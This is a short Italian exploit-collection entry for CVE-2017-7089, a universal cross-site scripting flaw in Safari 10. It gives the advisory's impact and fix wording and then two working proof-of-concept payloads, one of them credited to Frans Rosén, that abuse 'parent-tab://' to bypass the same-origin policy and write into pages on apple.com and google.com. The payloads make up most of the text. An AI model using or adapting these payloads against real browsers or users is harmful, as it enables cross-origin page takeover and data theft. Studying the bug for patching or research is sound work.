CVE-2017-7089

Impatto: L'elaborazione di contenuti web creati con intenti dannosi può portare a universal cross-site scripting

Descrizione: Esisteva un problema logico nella gestione della scheda principale. Questo problema è stato risolto con una migliore gestione dello stato.

Safari 10

Bypass locale della SOP

<script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='';}</script><button onclick=Pew();>Click me!</button>

Exploit di Frans Rosén

data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML=''};setTimeout(y,100)</script>